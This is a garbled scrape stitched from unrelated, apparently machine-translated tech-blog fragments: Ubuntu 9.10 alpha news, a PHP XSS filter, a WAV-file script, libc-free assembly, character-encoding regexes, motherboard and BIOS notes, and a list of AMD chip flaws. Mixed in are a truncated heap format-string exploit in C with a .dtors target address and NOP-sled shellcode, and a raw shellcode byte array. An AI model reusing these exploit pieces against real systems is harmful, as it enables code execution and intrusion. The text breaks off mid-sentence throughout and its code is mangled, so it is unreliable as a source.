KarmicKoalaUbuntu9.10's first Alpha test was released yesterday. Although this is only an initial experimental version, the exciting new features such as Plymouth are completely absent, however, we still see the Linux2.6.30kernel kernel, GNOME2.27.1 desktop environment, GCC4.4 compiler, UXAIntel video acceleration, and new power management technology, and its performance will definitely surprise you. The test object is Ubun.
The first Alpha Beta version of Karmic Koala Ubuntu 9.10 was released
is a function to filter out invalid scripts for your reference only:Function RemoveXSS ($ val ){// Remove all non-printable characters. CR (0a) and LF (0b) and TAB (9) are allowed// This prevents some character re-spacing such as // Note that you have to handle splits with, and later since they * are * allowed in some inputs$ Val = preg_replace ("/([x00-x08] [x0b-x0c] [x0e-x20])/", "", $ val );// Straight replacements, the user shoshould never need these since they "re normal characters// This
, format, AP );# Ifdef helpPrintf ("% s/n", P );# EndifVa_end (AP );Free (P );Return 0;}
Int main (INT argc, char ** argv){If (argc! = 2 ){Printf ("need ARGs/N ");Return-1;}
Log_it (argv [1]);
Return 0;}
/* Ex_heap_fs.c* Exploit heap format strings vuln code* By Sam**/# Include # Include # Include # Include # Include # Include # Include
/*. Dtors */# Define dtors_addr 0x80495bc + 4# Define Hell "./heap_fs"
Char shellcode [] ="/X90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90""/X90/x9
about WAV file structure online ~F.write ('RIFF') F.write (hexlength (int (param[2]) +44)) F.write ('wavefmt \x10\x00\x00\x00\x01\x00\x01\x00\x44\xac\x00\x00\x88\x58\x01\x00\x02\x00\x10\x00data') F.write (hexlength (int (param[2]))) #writes data at a given offsets = open (Voice_file,'RB') s.seek (int (param[1]) Temp= S.read (int (param[2]) f.write (temp) f.close () s.close ()#Enter a list of attributes to return a row of the Oto filedefrotoline (p
See this post in Reddit: Hello from a libc-free world! , think it is very interesting, and then think of all the relevant information I have seen before, do a collation here. Note that all lab environments are Linux. Version One:In fact, it is to rewrite the _start portal with the assembly, specifically, see the connection provided at the beginning of the article, the assembly code is as follows, named Stubstart. S[CPP]View Plaincopy
_start:
Call Main
MOVL $,%eax
Xorl%EBX,%E
Roman Array and item serial numberXA2 ([xa1-xaa]|[ xb1-xbf]| [xc0-xdf]| [xe0-xe2]| [xe5-xee]| [XF1-XFC])GB2312 Full angle punctuation and full-width lettersXA3[XA1-XFE]GB2312 Japanese HiraganaXA4[XA1-XF3]GB2312 Japanese KatakanaXa5[xa1-xf6]MesenchymalGB18030[x00-x7f]| [X81-xfe] [x40-xfe]| [X81-xfe] [x30-x39] [X81-xfe] [x30-x39]Japanese Half corner spaceX20Sjis Full-angle space(?: x81x81)Sjis Full-angle Digital (?: x82[x4f-x58])Sjis All Corners Capita
] [\xa1-\xa6]| [\XA4] [\xa1-\xf3]| [\xa5] [\xa1-\xf6]| [\XA1] [\xbc-\xbe]
Big5
[\x01-\x7f]| [\x81-\xfe] ([\x40-\x7e]| [\xa1-\xfe])
GBK
[\x01-\x7f]| [\x81-\xfe] [\x40-\xfe]
GB2312 Chinese Characters
[\xb0-\xf7] [\xa0-\xfe]
GB2312 punctuation mark and special symbol
\XA1[\XA2-\XFE]
GB2312 Roman Array and item serial number
\XA2 ([\xa1-\xaa]|[ \xb1-\xbf]| [\xc0-\xdf]| [\xe0-\xe2]| [\xe5-\xee]| [\XF1-\XFC])
GB2312 Full angle punctuation and full-width letters
\XA3[\XA1-\XFE]
GB2312 Japanese Hiragana
motherboards, non-PNP motherboards, and so on.
According to the system bus bandwidth classification, such as 66MHZ motherboard, 100MHZ motherboard and so on.
Sorted by data port, such as SCSI motherboard, EDO Motherboard, AGP motherboard, etc.
Classification by expansion slot, such as EISA Motherboard, PCI motherboard, USB motherboard, etc.
According to the manufacturer classification, such as ASUS Motherboard, gigabyte motherboard and so on.
Chip
Intel:socket386, Socket486, Socket586, So
,0x07,0x84,0xc0,0x75,0xf1,0x89,0x5d,0xf8 0x8b,0x5d,0xf4,0x8b,0x45,0xf8,0x3b,0x45,0xf0, 0x74,0x12,0x83,0xc1,0x04,0x42,0x3b, 0x53,0x18,0x72,0xc7,0x33,0xc0,0x5f,0x5e,0x5b, 0x8b,0xe5,0x5d,0xc3,0x8b,0x43,0x24, 0x8d,0x04,0x50,0x0f,0xb7,0x0c,0x30,0x8b,0x43,0x1c,0x8d,0x04,0x88,0x8b,0x04, 0x30, 0x03,0xc6,0xeb,0xe2}; I can't guarantee that shellcode can be used on every computer, because I tried to get someone else to run it, but the program crashed. So it's best to try to write it yourself.S
depends on the device you have installed!four. Advanced Chipset Features (chipset settings) The chipset setting is also a key setting inside the BIOS setup, which is explained in detail here!1.DRAM Timing selectable (memory parameter setting option):Depending on the memory module, this project will set the best timing for the next four projects. The default valu
Pro.RyzenFall 4-Arbitrary code execution on AMD Security Processor-Attackers can bypass firmware-based security functions, such as the firmware Trusted Platform Module fTPM.-Theft of network creden. Bypassing VBS and Windows Credential Guard-Physical damage to the hardware-Affected models: Ryzen and Ryzen Pro.Chimera (Firmware, Hardware versions)-Two backdoors: firmware/hardware ASIC-Inject malware into the internal 8051 architecture of the chipset-C
motherboard. Some may ask, the SATA ports on the two boards are not the same. After careful observation, we will find that in the figure below, a protective layer is designed around the SATA interface, which plays a very good role in protecting the interface, this design is generally used on a large-brand motherboard.
The installation of the SATA interface is also quite simple. The interface adopts a sticky-Proof Design and cannot be inserted in the reverse direction. Users can carefully obser
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